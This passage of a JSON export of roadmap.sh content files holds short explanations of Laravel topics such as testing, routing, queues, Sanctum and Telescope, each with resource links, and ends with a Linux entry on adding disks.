  },
  {
    "path": "src/data/roadmaps/laravel/content/pest@3hluy0wKpsbWHpI1AwTfB.md",
    "content": "# Pest Testing Framework\n\nPest is an elegant PHP testing framework with a focus on simplicity and developer experience. It provides a clean and expressive syntax for writing tests, aiming to make testing more enjoyable and efficient. Pest builds on top of PHPUnit, leveraging its powerful features while offering a more streamlined and intuitive API.\n\nVisit the following resources to learn more:\n\n- [@official@Pest](https://pestphp.com/)\n- [@article@Mastering Testing in Laravel with Pest PHP: A Comprehensive Guide](https://medium.com/@zulfikarditya/mastering-testing-in-laravel-with-pest-php-a-comprehensive-guide-0d1a599f79f5)\n- [@article@How to Unit Test a Laravel API with the Pest Framework](https://www.twilio.com/en-us/blog/developers/community/unit-test-laravel-api-pest-framework)\n- [@article@Laravel for Beginners: PHPUnit and PEST Tests](https://www.luckymedia.dev/blog/laravel-for-beginners-phpunit-and-pest-tests)\n- [@video@Laravel Testing 21/24: What is PEST and How It Works](https://www.youtube.com/watch?v=4ubp_IF6kqY)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/phpunit@pUJVZ6oUKVSixtxshwhqi.md",
    "content": "# PHPUnit in Laravel Testing\n\nPHPUnit is a popular testing framework for PHP that allows developers to write and run automated tests for their code. It provides a structured way to define test cases, assertions, and test suites, ensuring that code behaves as expected. In Laravel, PHPUnit is the default testing framework, offering a robust environment for both unit and feature testing.\n\nVisit the following resources to learn more:\n\n- [@official@PHPUnit](https://phpunit.de/)\n- [@opensource@phpunit](https://github.com/sebastianbergmann/phpunit)\n- [@article@A Beginner’s Guide to PHPUnit](https://www.browserstack.com/guide/unit-testing-php)\n- [@video@PHPUnit in Laravel: Simple Example of Why/How to Test](https://www.youtube.com/watch?v=DRhhfy2sG1E)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/pint@8XZ3g4gW34k1sThHvb2cH.md",
    "content": "# Pint\n\nPint is an opinionated PHP code style fixer. It automatically corrects coding style issues in your PHP code, ensuring consistency and adherence to defined coding standards. It simplifies the process of maintaining a clean and uniform codebase by automatically applying formatting rules.\n\nVisit the following resources to learn more:\n\n- [@article@Laravel Pint](https://laravel.com/docs/pint)\n- [@article@pint](https://github.com/laravel/pint)\n- [@video@New Laravel Pint: Code Styling Made Easier](https://www.youtube.com/watch?v=5khyIHIYIK4)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/policies@mOxPpW0Ic9_ZAYYNrZlb9.md",
    "content": "# Authorization Policies\n\nAuthorization Policies provide a structured way to define authorization logic for your application. They allow you to encapsulate the rules that determine whether a user is authorized to perform a specific action on a given resource. Instead of scattering authorization checks throughout your controllers and views, policies centralize this logic into dedicated classes, making your code more organized, maintainable, and testable.\n\nVisit the following resources to learn more:\n\n- [@official@Creating Policies](https://laravel.com/docs/authorization#creating-policies)\n- [@article@Mastering Laravel Policies: A Complete Guide to Authorization in Laravel](https://medium.com/@zulfikarditya/mastering-laravel-policies-a-complete-guide-to-authorization-in-laravel-991bbdcc6756)\n- [@article@What Are Laravel Policies and How to Use Them to Control Access](https://www.twilio.com/en-us/blog/developers/community/what-are-laravel-policies-and-how-to-use-them-to-control-access)\n- [@video@Laravel Policies: AuthorizeResource and \"can:ABC\" Usage](https://www.youtube.com/watch?v=Q3YQVEJIQbo)\n- [@video@Laravel Policies: Add Custom Methods](https://www.youtube.com/watch?v=PO7NXcYcdds)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/public@ciVFg7PpqdBtSt0XaXNZL.md",
    "content": "# Public Directory\n\nThe `public` directory serves as the document root for your Laravel application. It's the only directory that should be directly accessible from the web. This directory contains the `index.php` file, which is the entry point for all HTTP requests entering your application, as well as assets like images, CSS, and JavaScript files.\n\nVisit the following resources to learn more:\n\n- [@official@The Public Directory](https://laravel.com/docs/structure#the-public-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/pulse@M-x3UwacbhtaGyPS6tzu3.md",
    "content": "# Pulse\n\nPulse is a real-time monitoring tool designed to provide insights into your application's performance and health. It collects and displays key metrics like slow queries, cache interactions, queue jobs, and server resource usage, allowing developers to quickly identify and address potential bottlenecks or issues. This helps ensure the application remains responsive and performs optimally.\n\nVisit the following resources to learn more:\n\n- [@official@Pulse](https://pulse.laravel.com/)\n- [@official@Laravel Pulse](https://laravel.com/docs/12.x/pulse#main-content)\n- [@opensource@pulse](https://github.com/laravel/pulse)\n- [@article@Announcing Laravel Pulse - A New Performance Monitoring Tool for Laravel Apps](https://laravel-news.com/announcing-laravel-pulse)\n- [@video@Getting Started with Laravel Pulse 💗](https://www.youtube.com/watch?v=di9fYHxdZ-8)\n- [@video@Laravel Pulse - Insights and Application Performance](https://www.youtube.com/watch?v=5joyfmCmu-o)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/query-builder@OpRkcv-Qom47TALqcEsRc.md",
    "content": "# Query Builder\n\nThe Query Builder provides a convenient, fluent interface for creating and running database queries. It allows you to interact with your database without writing raw SQL, offering a more readable and maintainable way to perform common database operations like selecting, inserting, updating, and deleting data. It supports various database systems and protects against SQL injection vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Database: Query Builder](https://laravel.com/docs/queries#main-content)\n- [@article@Laravel Query Builder: Detailed Guide with Code Examples + Screenshots](https://www.cloudways.com/blog/laravel-query-builder/)\n- [@video@Laravel Query Builder](https://www.youtube.com/watch?v=5R0tVpkuQ1M&list=PLkyrdyGDWthC-yd9n8R3CEauJC4sFl-kj)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/query-scopes@d35_8oQcSQUBnDMiwzNfU.md",
    "content": "# Query Scopes\n\nQuery scopes in Eloquent provide a way to add constraints to all queries of a given model. They allow you to define common sets of query conditions as reusable methods within your Eloquent models. This promotes cleaner, more maintainable code by encapsulating query logic and preventing duplication across your application.\n\nVisit the following resources to learn more:\n\n- [@official@https://laravel.com/docs/12.x/eloquent#query-scopes](https://laravel.com/docs/eloquent#query-scopes)\n- [@article@Learn to master Query Scopes in Laravel](https://laravel-news.com/query-scopes)\n- [@article@Mastering Laravel Scope — A Comprehensive Guide with Code Examples](https://arjunamrutiya.medium.com/mastering-laravel-scope-a-comprehensive-guide-with-code-examples-daa54a4ee633)\n- [@video@Laravel 12 - Master Query Scopes for Cleaner & Reusable Queries!](https://www.youtube.com/watch?v=BaFeFot0L2U)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/queues--jobs@kn3-JVSd_C_KKx3SzGx84.md",
    "content": "# Queues & Jobs\n\nQueues and jobs provide a mechanism to defer the processing of time-consuming tasks, such as sending emails, processing large datasets, or performing complex calculations, to a later time. Instead of executing these tasks immediately within a web request, they are pushed onto a queue. A worker process then retrieves and executes these jobs in the background, freeing up the web server to handle incoming requests more efficiently and improving the application's responsiveness.\n\nVisit the following resources to learn more:\n\n- [@official@Queues](https://laravel.com/docs/queues)\n- [@article@Creating Jobs](https://laravel.com/docs/queues#creating-jobs)\n- [@article@How to Use Queueing in Laravel](https://www.twilio.com/en-us/blog/queueing-in-laravel)\n- [@article@Laravel Queue Jobs](https://medium.com/@hossamsoliuman/laravel-queue-jobs-4dec9ccf0ae7)\n- [@video@Queues in Laravel: Main Things You Need to Know (Two Examples)](https://www.youtube.com/watch?v=D5tr7r2_i7E)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/rate-limiting@_0QY_h0802wBAKEo2Hq9f.md",
    "content": "# Rate Limiting\n\nRate limiting is a technique used to control the number of requests a user or client can make to a server within a specific time period. This helps to prevent abuse, protect resources, and maintain the stability and performance of an application by preventing it from being overwhelmed by excessive requests. It essentially sets a threshold for how often a particular action can be performed.\n\nVisit the following resources to learn more:\n\n- [@official@Rate Limiting](https://laravel.com/docs/rate-limiting#main-content)\n- [@article@Laravel Rate Limiting — Explained with Real-Life Examples](https://backpackforlaravel.com/articles/tutorials/laravel-rate-limiting-explained-with-real-life-examples)\n- [@article@Implementing API Rate Limiting in Laravel 11](https://apiacademy.treblle.com/laravel-api-course/rate-limiting)\n- [@video@Exploring Laravel Rate Limiters: Control Traffic & Secure Actions ⛔](https://www.youtube.com/watch?v=5YlJ8DllTFw)\n- [@video@Laravel API Rate Limiting: Default and Custom Throttle](https://www.youtube.com/watch?v=tNU9nZ7ZqBc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/redirect-routes@LCCEkY9fZOUqNo1jIpy0D.md",
    "content": "# Redirect Routes\n\nRedirect routes provide a simple way to create HTTP redirects within your application. Instead of defining a full route with a controller action, you can directly instruct the application to redirect the user to another URL or route. This is useful for creating permanent or temporary redirects, handling old URLs, or simplifying route definitions when only a redirection is needed.\n\nVisit the following resources to learn more:\n\n- [@official@Redirect Routes](https://laravel.com/docs/routing#redirect-routes)\n- [@article@Route Redirect in Laravel: The Complete Guide](https://larafast.com/blog/route-redirect-in-laravel-the-complete-guide)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/redirects@j684EyDXKtd9QgcYQdtB4.md",
    "content": "# Redirects\n\nRedirects are a way to send a user from one URL to another. They are commonly used after a form submission to prevent resubmitting data, or to guide users to a different part of a website after an action has been completed. A redirect response contains an HTTP status code in the 300 range, indicating that the client should perform another request to a different URL.\n\nVisit the following resources to learn more:\n\n- [@official@Redirects Response](https://laravel.com/docs/responses#redirects)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/relationships@NEbYfTpH0mnbPKPFI1x-B.md",
    "content": "# Eloquent Relationships\n\nEloquent relationships define how different database tables are connected. They allow you to easily retrieve related data from multiple tables using intuitive methods. For example, a user might have many posts, or a post might belong to a single category. Eloquent supports various relationship types like one-to-one, one-to-many, many-to-many, and polymorphic relationships, enabling you to model complex data structures and retrieve related data with ease.\n\nVisit the following resources to learn more:\n\n- [@official@Eloquent: Relationships](https://laravel.com/docs/eloquent-relationships)\n- [@article@Laravel Eloquent Relationships: An Advanced Guide](https://kinsta.com/blog/laravel-relationships/)\n- [@article@Mastering Laravel Eloquent Relationships: A Complete Guide to Using “with()”](https://medium.com/@zulfikarditya/mastering-laravel-eloquent-relationships-a-complete-guide-to-using-with-b2258c857e44)\n- [@video@Laravel Eloquent Relationships](https://www.youtube.com/playlist?list=PL1JpS8jP1wgA7YIkG5pJDa0XwvonK-mQR)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/requestresponse-flow@jARVkKaEkVAYIe8WSO0aY.md",
    "content": "# Request–Response Flow\n\nIn Laravel, the request-response flow begins when a user sends a request to the application. This request first hits the `public/index.php` file, which bootstraps the Laravel framework. The request is then passed to the HTTP kernel, which identifies the appropriate route based on the request URI. The route then calls a controller action or closure, which processes the request and generates a response. Finally, the response is sent back to the user's browser.\n\nVisit the following resources to learn more:\n\n- [@official@Request Lifecycle](https://laravel.com/docs/lifecycle)\n- [@article@Understanding the Laravel Request/Response Lifecycle: A Simple Guide for Developers](https://chandankshaw.medium.com/understanding-the-laravel-request-response-lifecycle-a-simple-guide-for-developers-e6afdf887a6d)\n- [@article@Requests and Responses](https://www.fastcomet.com/tutorials/laravel/requests-and-responses)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/resource-controllers@AAURmpEyp78p31GY0q3rV.md",
    "content": "# Resource Controllers\n\nResource controllers provide a standardized way to manage CRUD (Create, Read, Update, Delete) operations for a specific model. They group related request handling logic into a single class, making your code more organized and easier to maintain by mapping conventional HTTP verbs (like GET, POST, PUT, DELETE) to specific controller methods. This approach promotes a RESTful architecture for your application.\n\nVisit the following resources to learn more:\n\n- [@official@Resource controllers](https://laravel.com/docs/controllers#resource-controllers)\n- [@article@What is a Resource Controller in Laravel, and what are its Actions?](http://webdew.com/blog/what-is-a-resource-controller-in-laravel?srsltid=AfmBOor4QIQckQzQ4o6EeD_bsn-wsRR87DetunjF-bB6j4rt7QLJaida)\n- [@article@Simple Laravel CRUD with Resource Controllers](https://www.digitalocean.com/community/tutorials/simple-laravel-crud-with-resource-controllers)\n- [@video@11 | Laravel Controller Resource Methods Step-by-Step (CRUD Example)](https://www.youtube.com/watch?v=XAwQUUr1obM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/resources@ieFd1B_Ntp1pK8ew47WyP.md",
    "content": "# Resources Directory\n\nThe `resources` directory in a Laravel project is where you store your application's raw, uncompiled assets. This includes things like your views (HTML templates), language files, CSS, JavaScript, and images. These assets are often processed by tools like Webpack or Vite before being served to the user.\n\nVisit the following resources to learn more:\n\n- [@official@The Routes Directory](https://laravel.com/docs/structure#the-routes-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/retrieving-data--files@wR92EYaAPILQRmtBiaoCX.md",
    "content": "# Retrieving Data and Files\n\nWhen a user interacts with a web application, they often send data to the server through forms or file uploads. Retrieving data involves accessing and using the information submitted by the user, such as form inputs or query parameters. Similarly, retrieving files involves accessing and processing files that users upload to the server, enabling the application to handle and store these files appropriately.\n\nVisit the following resources to learn more:\n\n- [@article@Retrieving Files](https://laravel.com/docs/filesystem#retrieving-files)\n- [@article@HTTP Requests](https://laravel.com/docs/requests)\n- [@video@Laravel and External APIs: Get Data with HTTP Client](https://www.youtube.com/watch?v=oEDDZsmMLc0)\n- [@video@File Upload in Laravel: Main Things You Need To Know](https://www.youtube.com/watch?v=xN-CF7dzeyM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/route-groups@Pmw0OdtrsMIaHB9Y8v3An.md",
    "content": "# Route Groups\n\nRoute groups provide a way to share route attributes, such as middleware, namespaces, prefixes, and subdomain restrictions, across a large number of routes without needing to define them individually for each route. This allows for cleaner and more organized route definitions, reducing redundancy and improving maintainability. They essentially bundle common configurations for a set of routes.\n\nVisit the following resources to learn more:\n\n- [@official@Route Groupes](https://laravel.com/docs/routing#route-groups)\n- [@article@How Laravel Route Groups Can Simplify and Organize Your Code](https://redberry.international/laravel-route-group-organize-your-code/)\n- [@article@6 Tips To Organize Your Routes](https://laravel-news.com/laravel-route-organization-tips)\n- [@video@Laravel 12 Route Grouping & Naming – Organize Your Routes Like a Pro](https://www.youtube.com/watch?v=qXulJqduM4I)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/route-model-binding@hC0-JDJtpgh4ELcFuhch1.md",
    "content": "# Route Model Binding\n\nRoute model binding is a way to automatically inject model instances into your route handlers based on the route parameters. Instead of manually querying the database for a model within your controller method using the ID passed in the route, Laravel can automatically resolve the model instance for you, making your code cleaner and more readable. This simplifies the process of retrieving data associated with a specific model based on the route parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Route model binding](https://laravel.com/docs/folio#route-model-binding)\n- [@article@What is route model binding in Laravel?](https://www.educative.io/answers/what-is-route-model-binding-in-laravel)\n- [@article@Cleaner Laravel Controllers with Route Model Binding](https://www.digitalocean.com/community/tutorials/cleaner-laravel-controllers-with-route-model-binding)\n- [@video@Master Laravel Route Model Binding to Clean Your Code](https://www.youtube.com/watch?v=qWo2n11N-uw)\n- [@video@Laravel Tutorial for Beginners #23 - Route Model Binding](https://www.youtube.com/watch?v=YkwbsesO3Rs)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/route-parameters@6TkDx8eXb9nMU_OE3ArhJ.md",
    "content": "# Route Parameters\n\nRoute parameters allow you to capture segments of the URI within your route definitions. These captured segments can then be passed as arguments to your route's controller or closure, enabling you to create dynamic routes that respond to different data. You define parameters by enclosing them in curly braces, such as `{id}`, within the route URI.\n\nVisit the following resources to learn more:\n\n- [@official@Route parameters](https://laravel.com/docs/routing#route-parameters)\n- [@article@Route Parameters and Route Model Binding](https://laraveldaily.com/lesson/laravel-beginners/route-parameters-route-model-binding)\n- [@article@Get Laravel Route Parameters in Middleware](https://www.digitalocean.com/community/tutorials/get-laravel-route-parameters-in-middleware)\n- [@video@Working with Route Parameters in Laravel | Learn Laravel The Right Way](https://www.youtube.com/watch?v=DgQEDXBcyZw)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/routes@eMVYQ1Q1o1IZmeHnrfBV7.md",
    "content": "# Routes\n\nThe `routes` directory in Laravel houses all the route definitions for your application. These files tell Laravel how to respond to different HTTP requests (like GET, POST, PUT, DELETE) for specific URLs. Each file typically defines a set of routes, mapping a URL to a specific controller action or closure that will handle the request and return a response.\n\nVisit the following resources to learn more:\n\n- [@article@Routes Directory](https://laravel.com/docs/structure#the-routes-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/sail@_hhgO69zAsDdtvIW0iM7a.md",
    "content": "# Sail\n\nSail is a light-weight command-line interface (CLI) for interacting with Laravel's default Docker development environment. It provides a simple way to manage and run your Laravel application using Docker, without requiring prior Docker experience. It offers commands to start, stop, and manage your application's containers, making local development easier and more consistent.\n\nVisit the following resources to learn more:\n\n- [@official@Sail](https://laravel.com/docs/sail)\n- [@opensource@sail](https://github.com/laravel/sail)\n- [@article@A Complete Guide to Laravel Sail](https://hackernoon.com/a-complete-guide-to-laravel-sail)\n- [@article@Laravel Sail](https://laravel-news.com/laravel-sail)\n- [@video@The Laravel Ecosystem - Sail ⛵](https://www.youtube.com/watch?v=jEzqiloXKMs)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/sanctum@dGNOYhShoyT9ovSouI00l.md",
    "content": "# Sanctum\n\nSanctum is a lightweight authentication system primarily designed for single-page applications (SPAs), mobile applications, and simple APIs. It provides a straightforward method for authenticating users using API tokens, allowing them to access protected routes and resources. Sanctum focuses on issuing API tokens that are scoped to specific abilities, offering a more granular control over user permissions compared to traditional session-based authentication.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Sanctum](https://laravel.com/docs/sanctum)\n- [@opensource@sanctum](https://github.com/laravel/sanctum)\n- [@article@Laravel Sanctum Installation: A Quick 5-Minute Guide for Secure REST API](https://medium.com/@sarfaraz.muhammad.sajib/laravel-sanctum-installation-a-quick-5-minute-guide-for-secure-rest-api-00e0eb27a8c1)\n- [@video@Example of Laravel Sanctum with API Tokens](https://www.youtube.com/watch?v=Ql5z9TjXWLY)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/single-action-controllers@1hS7qJ218Ud3et0E1JsfH.md",
    "content": "# Single-Action Controllers\n\nSingle-action controllers are controllers that contain only one method, typically named `__invoke`. This approach simplifies controller logic when a controller is responsible for performing a single, specific task. Instead of defining multiple methods for different actions, you define a single method that handles the entire request, leading to cleaner and more focused code.\n\nVisit the following resources to learn more:\n\n- [@official@Single Action Controllers](https://laravel.com/docs/controllers#single-action-controllers)\n- [@article@Single Action Controllers: One Job, Done Right](https://laracasts.com/series/jeremys-larabits/episodes/22)\n- [@article@The Beauty of Single Action Controllers](http://driesvints.com/blog/the-beauty-of-single-action-controllers/)\n- [@video@Using single action controllers in Laravel](https://www.youtube.com/watch?v=lLj8UYrqLuU)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/starter-kits@9YTtSeu4nY5A5AcFcZFto.md",
    "content": "# Starter Kits\n\nStarter kits provide a pre-built scaffolding for new Laravel applications, offering a foundation with common features like authentication, user interface components, and basic styling already configured. This allows developers to quickly begin building application-specific functionality without having to set up these fundamental elements from scratch. They streamline the initial development process and promote consistency across projects.\n\nVisit the following resources to learn more:\n\n- [@official@Starter Kits](https://laravel.com/docs/starter-kits#main-content)\n- [@article@Laravel Starter Kits List: Official and Community](https://nabilhassen.com/laravel-starter-kits-list-official-and-community)\n- [@article@10 Best Laravel Starter Kits for 2025](https://saasykit.com/blog/10-best-laravel-starter-kits-for-2025)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/storage@Q8IaWP-McT1x89_87fVUF.md",
    "content": "# Storage Directory in Laravel\n\nThe `storage` directory in Laravel is where the framework stores files generated during the application's runtime. This includes compiled Blade templates, file-based sessions, cache files, and logs. It's structured into `app`, `framework`, and `logs` subdirectories to organize these different types of data. The `app` directory can be used to store any files generated by your application, while `framework` is primarily used by Laravel itself. The `logs` directory contains the application's log files, which are essential for debugging.\n\nVisit the following resources to learn more:\n\n- [@article@The Storage Directory](https://laravel.com/docs/structure#the-storage-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/streamed-responses@mpfzIVmulV3sJthKxP_PV.md",
    "content": "# Streamed Responses\n\nStreamed responses allow you to send large files or data streams to the user's browser in chunks, rather than loading the entire content into memory at once. This is particularly useful for handling large downloads, video streaming, or any situation where you need to send data incrementally to avoid memory limitations and improve performance. Instead of waiting for the entire file to be processed, the browser can start receiving and displaying the content as it becomes available.\n\nVisit the following resources to learn more:\n\n- [@official@Streamed Responses](https://laravel.com/docs/responses#streamed-responses)\n- [@article@Optimizing Large Data Delivery with Laravel Streaming Responses](https://laravel-news.com/streaming-responses)\n- [@article@Streaming Responses in Laravel: A Guide to Efficient Data Delivery](https://medium.com/@harrisrafto/streaming-responses-in-laravel-a-guide-to-efficient-data-delivery-bac37aa76c03)\n- [@video@Welcome the New Stream Hooks for React & Vue](https://www.youtube.com/watch?v=mSssWRUkmXAv)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/task-schedulling@aWC-GXotQYf5e43Hgfaa9.md",
    "content": "# Task Scheduling\n\nTask scheduling involves automating the execution of specific commands or tasks at predefined intervals. This allows developers to automate repetitive processes, such as sending emails, cleaning up data, or generating reports, without manual intervention. By defining a schedule, these tasks can run in the background, freeing up resources and ensuring timely execution.\n\nVisit the following resources to learn more:\n\n- [@official@Task Schedulling](https://laravel.com/docs/12.x/scheduling)\n- [@article@Streamlining Application Automation with Laravel's Task Scheduler](https://laravel-news.com/task-scheduler)\n- [@article@A Complete Guide to Task Scheduling in Laravel](http://betterstack.com/community/guides/scaling-php/laravel-task-scheduling/)\n- [@video@Laravel Task Scheduling: Run Artisan Command Hourly](https://www.youtube.com/watch?v=r-KrsQ0dN80)\n- [@video@Laravel Scheduler: 5 \"Tricks\" You May Not Know](https://www.youtube.com/watch?v=KBAIWP8wfyQ)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/telescope@j5giyFLzIm2wsOqkbjc4-.md",
    "content": "# Telescope\n\nTelescope is an elegant debug assistant for the Laravel framework. It provides insights into the requests coming into your application, exceptions, log entries, database queries, queued jobs, mail, notifications, cache operations, scheduled tasks, variable dumps, and more. It essentially acts as a powerful dashboard to monitor and debug your Laravel application's activity.\n\nVisit the following resources to learn more:\n\n- [@official@Telescope](https://laravel.com/docs/telescope#main-content)\n- [@opensource@telescope](https://github.com/laravel/telescope)\n- [@article@What is Laravel Telescope?](https://dev.to/ethanleetech/what-is-laravel-telescope-2iaf)\n- [@video@Laravel Telescope: Monitor and Debug Slow API Queries](https://www.youtube.com/watch?v=rrqNbzR_0pk)\n- [@video@Debug Eloquent Queries from API: Laravel Telescope](https://www.youtube.com/watch?v=SR3RzIfeozI)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/tests@6iTp6YFyfzg_7uyIKwu37.md",
    "content": "# Tests\n\nThe `tests` directory in Laravel projects houses all the automated tests for your application. These tests are designed to verify that your code functions as expected, covering various aspects like models, controllers, routes, and features. It typically includes subdirectories like `Feature` for high-level feature tests and `Unit` for testing individual components in isolation. The tests are written using PHPUnit and provide a way to ensure code quality and prevent regressions as your application evolves.\n\nVisit the following resources to learn more:\n\n- [@official@The Tests Directory](https://laravel.com/docs/structure#the-tests-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/unit--feature-tests@69IAYj71d4L6XxwX0M_j4.md",
    "content": "# Unit and Feature Tests\n\nUnit and feature tests are automated ways to verify that your code works as expected. Unit tests focus on testing individual components or functions in isolation, ensuring each part performs its specific task correctly. Feature tests, on the other hand, test larger parts of your application, simulating user interactions and verifying that different components work together to deliver the desired functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Testing: Getting Started](https://laravel.com/docs/12.x/testing)\n- [@article@Unit TestHow to Get Started with Unit Testing in Laravel](https://betterstack.com/community/guides/testing/laravel-unit-testing/)\n- [@article@Unit Testing in Laravel: A Practical Approach for Developers](https://dev.to/arafatweb/unit-testing-in-laravel-a-practical-approach-for-developers-7oa)\n- [@video@Laravel Testing 01/24: Why Test Your Code Automatically?](https://www.youtube.com/watch?v=BuDger5Ytbc&list=PLdXLsjL7A9k0esh2qNCtUMsGPLUWdLjHp&index=1)\n- [@video@Laravel Feature or Unit Tests: The Difference](https://www.youtube.com/watch?v=0bVlUy2L9tM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/vendor@-xOvjCCRwfkms2SRUvMaC.md",
    "content": "# Vendor Directory\n\nThe `vendor` directory in a Laravel project houses all the Composer-installed dependencies. These dependencies are third-party packages and libraries that your project relies on for various functionalities, such as database interactions, authentication, or templating. It's essentially a collection of code that you didn't write yourself but is essential for your application to function correctly.\n\nVisit the following resources to learn more:\n\n- [@article@The Vendor Directory](https://laravel.com/docs/structure#the-vendor-directory)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/view-routes@5NMRzpig1p9SJaeA7Twmh.md",
    "content": "# View Routes\n\nView routes provide a simple way to return a view directly from a route without needing a full controller. Instead of defining a controller method to load and return a view, you can use the `Route::view` method. This is particularly useful for simple routes that only need to display static content or a basic view without any complex logic. You specify the URI, the view to be rendered, and optionally, an array of data to pass to the view.\n\nVisit the following resources to learn more:\n\n- [@official@View Routes](https://laravel.com/docs/routing#view-routes)\n- [@article@Basic routing & views](https://itf-laravel-11.netlify.app/laravel/basicRouting)\n- [@video@Laravel Tutorial for Beginners #2 - Routes & Views](https://www.youtube.com/watch?v=RT0DZYYE3wc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/views@PipmRcDfvwRYNLe9VMbeU.md",
    "content": "# Views in Laravel\n\nLaravel, beyond processing data and logic, can also present information to the user. One common way to do this is by sending a \"view\" as a response. A view is essentially an HTML template file that Laravel renders, often populated with data you pass to it from your application's logic. This allows you to dynamically generate web pages and other user interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@View Responses](https://laravel.com/docs/12.x/responses#view-responses)\n- [@article@Laravel Response](https://www.w3schools.in/laravel/response)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/what-is-laravel@QvWjQUrEYX9NRbzdm3Fvp.md",
    "content": "# Laravel\n\nLaravel is a PHP web application framework that provides tools and structure for building web applications using the Model-View-Controller (MVC) architectural pattern. It aims to simplify common tasks used in web development, such as routing, templating, authentication, and database interactions, by providing a clean and expressive syntax. Laravel emphasizes developer experience and promotes rapid application development.\n\nVisit the following resources to learn more:\n\n- [@course@Learn Laravel - Free Video Courses](https://laravel.com/learn)\n- [@course@[FREE] Laravel 11 For Beginners: Your First Project](https://laraveldaily.com/course/laravel-beginners)\n- [@official@Laravel](https://laravel.com/)\n- [@official@Laravel Docs](https://laravel.com/docs/master)\n- [@article@What is Laravel: core features, use cases, and advantages of the PHP framework](https://www.hostinger.com/tutorials/what-is-laravel)\n- [@video@Laravel 12 in 11 hours - Laravel for Beginners Full Course](https://www.youtube.com/watch?v=0M84Nk7iWkA)\n- [@video@Learn Laravel from Scratch [FULL BOOTCAMP COURSE]](https://www.youtube.com/watch?v=MOLZOXqaomM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/why-web-frameworks@8wOQ-Kmz3dBlOKMg-ui5D.md",
    "content": "# Web Frameworks\n\nWeb frameworks provide a structured way to develop web applications by offering pre-built components, tools, and conventions. They streamline common tasks like routing, templating, database interaction, and security, allowing developers to focus on the unique features of their application rather than reinventing the wheel for basic functionalities. This leads to faster development, more maintainable code, and improved overall application quality.\n\nVisit the following resources to learn more:\n\n- [@official@Why Laravel](https://laravel.com/docs/master#why-laravel)\n- [@article@Web Frameworks: All You Should Know About](https://www.browserstack.com/guide/web-development-frameworks)\n- [@video@What Is a Framework in Programming? | Why Is It Useful?](https://www.youtube.com/watch?v=BfhSoFARn6w)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/with-starter-kits@-yacHIWQ5Oylia9e0pJXT.md",
    "content": "# Authentication with Starter Kits\n\nAuthentication is the process of verifying a user's identity. Laravel starter kits provide pre-built scaffolding for authentication features like registration, login, password reset, and email verification. These kits offer a quick and convenient way to implement authentication in your Laravel application, saving you from writing the boilerplate code from scratch.\n\nVisit the following resources to learn more:\n\n- [@official@Authentication with Starter Kits](https://laravel.com/docs/authentication#starter-kits)\n- [@article@Starter Kits and Using Laravel Breeze](https://laraveldaily.com/lesson/laravel-from-scratch/starter-kits-breeze)\n- [@video@Laravel 12 Starter Kits: THREE Layouts for Auth](https://www.youtube.com/watch?v=hSzSMrRFvtk)\n- [@video@Two-Factor Authentication Now Available in Laravel Starter Kits](https://www.youtube.com/watch?v=4osPfTw-FB0)"
  },
  {
    "path": "src/data/roadmaps/laravel/laravel.md",
    "content": "---\nrenderer: 'editor'\n---"
  },
  {
    "path": "src/data/roadmaps/linux/content/adding-disks@4xBaZPk0eSsWG1vK3e2yW.md",
    "content": "# Adding Disks\n\nAdding disks in Linux involves partitioning, creating filesystems, and mounting. Use `lsblk` to list devices, `fdisk /dev/sdX` to create partitions, `mkfs.ext4 /dev/sdX1` to create filesystems, and `mount /dev/sdX1 /mount/point` to mount. This process prepares new storage devices for seamless integration into the Linux filesystem hierarchy.\n\nVisit the following resources to learn more:\n\n- [@article@How to Add a New Disk](https://linuxconfig.org/how-to-add-new-disk-to-existing-linux-system)\n- [@article@How to Add a New Disk to an Existing Linux Server](https://www.tecmint.com/add-new-disk-to-an-existing-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/archiving-and-compressing@iD073xTmpzvQFfXwcwXcY.md",
